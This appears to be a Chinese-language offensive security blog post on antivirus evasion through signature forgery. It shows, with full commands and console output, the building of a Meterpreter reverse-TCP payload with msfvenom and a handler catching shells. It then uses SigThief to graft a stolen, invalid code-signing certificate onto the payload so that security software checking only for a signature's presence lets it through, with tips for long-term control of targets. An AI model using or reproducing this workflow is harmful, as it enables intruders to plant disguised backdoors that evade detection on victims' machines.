簡介:在實戰中,尤其是需要長期控制的目標,除免殺對抗安全軟件以外,還需考慮人為無 意查看惡意文件,如數字簽名是否擁有。而許多安全軟件,又僅僅驗證是否有簽名,而非驗 證簽名是否有效。那麼針對重要的目標,需要提前做多重對抗準備。
原始payload:
1 [root@John html]# msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOS T=192.168.1.104 LPORT=53 ‐f exe >tmp_rev53x_64.exe
2 [‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3 [‐] No arch selected, selecting arch: x64 from the payload
4 No encoder or badchars specified, outputting raw payload
5 Payload size: 510 bytes 6 Final size of exe file: 7168 bytes
無簽名:
開啟安全警告驗證:
成功回連:
1 msf exploit(multi/handler) > show options
2
3 Module options (exploit/multi/handler):
4
5 Name Current Setting Required Description
6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
7
8
9 Payload options (windows/x64/meterpreter/reverse_tcp):
10
11 Name Current Setting Required Description
12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none) 14 LHOST 192.168.1.104 yes The listen address (an interface may be speci fied)
15 LPORT 53 yes The listen port
16
17
18 Exploit target:
19
20 Id Name
21 ‐‐ ‐‐‐‐
22 0 Wildcard Target
23
24
25 msf exploit(multi/handler) > exploit
26
27 [*] Started reverse TCP handler on 192.168.1.104:53
28 [*] Sending stage (206403 bytes) to 192.168.1.101
29 [*] Meterpreter session 2 opened (192.168.1.104:53 ‐> 192.168.1.101:32 56) at 2019‐02‐19 08:02:52 ‐0500 30 31 meterpreter >
偽造無效簽名payload:
1 [root@John html]# ~/SigThief/sigthief.py ‐i crashreporter.exe.ca ‐t tm p_rev53x_64.exe ‐o tmp_rev53x_64.ca.exe
2 Output file: tmp_rev53x_64.ca.exe
3 Signature appended.
4 FIN.
偽造簽名:
成功回連:
1 msf exploit(multi/handler) > exploit
2
3 [*] Started reverse TCP handler on 192.168.1.104:53
4 [*] Sending stage (206403 bytes) to 192.168.1.101
5 [*] Meterpreter session 3 opened (192.168.1.104:53 ‐> 192.168.1.101:32 59) at 2019‐02‐19 08:04:11 ‐0500
6
7 meterpreter > getpid
8 Current pid: 972
靶機查看:
世界殺毒網:原始payload VS 原始payload簽名偽造
無證書偽造,無免殺:
僅證書偽造,無免殺:
以上結果佐證,許多安全軟件,僅僅是驗證是否有數字簽名,而不確認是否有效。
後者的話: 該原始python在偽造證書時,需要注意2點:
- 原始證書文件需要對應目標機的機器版本以及位數,如目標機是Windows 2003,那麼需要原始帶證書文件也為Windows 2003的文件。包括第三方文件。
- 偽造證書後,例:在Windows 2003 開啟驗安全驗證後,雙擊無法運行,也無報 錯,需要命令行下執行即可。
附錄:sigthief.py 有需要的私信。
如果你對小編的文章有不同的看法,請留言評論。
如果你贊成小編的文章,請轉發點贊。